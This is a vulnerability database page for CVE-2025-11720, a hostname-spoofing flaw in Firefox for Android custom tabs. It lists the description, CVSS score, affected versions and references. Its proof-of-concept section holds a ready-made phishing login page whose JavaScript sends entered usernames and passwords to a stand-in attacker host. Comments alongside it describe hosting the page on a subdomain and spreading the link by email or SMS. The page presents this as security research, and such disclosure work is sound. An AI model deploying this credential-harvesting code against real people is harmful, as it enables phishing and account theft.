CVE-2025-11720

Description

The Firefox and Firefox Focus UI for the Android custom tab feature only showed the "site" that was loaded, not the full hostname. User supplied content hosted on a subdomain of a site could have been used to fool a user into thinking it was content from a different subdomain of that site. This vulnerability was fixed in Firefox 144.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Mozilla Firefox for Android < 144

Mozilla Firefox Focus for Android < 144

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-11720 PoC - Firefox Android Custom Tab Hostname Spoofing
# This PoC demonstrates the UI spoofing vulnerability where Firefox Android
# custom tab only displays the "site" name instead of the full hostname.

# Step 1: Attacker hosts malicious content on a subdomain of a legitimate site
# Example: A phishing page hosted at "evil.target-site.com"
# The legitimate site is "target-site.com"

# Step 2: Create a phishing page that mimics the legitimate site's login page
phishing_html = """
<!DOCTYPE html>
<html>
<head>
    <title>Login - Target Site</title>
    <style>
        body { font-family: Arial, sans-serif; text-align: center; margin-top: 50px; }
        .login-form { max-width: 300px; margin: auto; padding: 20px; border: 1px solid #ccc; }
    </style>
</head>
<body>
    <h1>Welcome to Target Site</h1>
    <div class="login-form">
        <p>Please login to continue</p>
        <input type="text" placeholder="Username" id="username"><br><br>
        <input type="password" placeholder="Password" id="password"><br><br>
        <button onclick="exfiltrate()">Login</button>
    </div>
    <script>
        function exfiltrate() {
            var u = document.getElementById('username').value;
            var p = document.getElementById('password').value;
            // Send credentials to attacker-controlled server
            new Image().src = 'https://attacker.example.com/steal?u=' + u + '&p=' + p;
        }
    </script>
</body>
</html>
"""

# Step 3: Deploy the phishing page on attacker's subdomain
# Host the HTML content at: https://evil.target-site.com/login.html
# Note: This requires controlling a subdomain of the target site

# Step 4: Craft the attack link
attack_url = "https://evil.target-site.com/login.html"

# Step 5: Distribute the link via phishing email/SMS
# When victim clicks the link in Firefox Android:
# - The custom tab opens the URL
# - Due to CVE-2025-11720, the address bar shows "target-site.com"
# - Instead of the full hostname "evil.target-site.com"
# - Victim believes they are on a legitimate subdomain of target-site.com

# Step 6: Victim enters credentials thinking it's the legitimate site
# Credentials are sent to the attacker's server

print(f"Attack URL: {attack_url}")
print("Vulnerability: Firefox Android Custom Tab displays only 'site' name")
print("Expected display: 'target-site.com' (misleading)")
print("Actual hostname: 'evil.target-site.com' (hidden)")
print("Fixed in: Firefox 144")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-11720
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-11720
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-11720/
[4] VulDB https://vuldb.com/cve/CVE-2025-11720
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1979534
[6] https://bugzilla.mozilla.org/show_bug.cgi?id=1984370
[7] https://www.mozilla.org/security/advisories/mfsa2025-81/

Raw JSON Data

JSON

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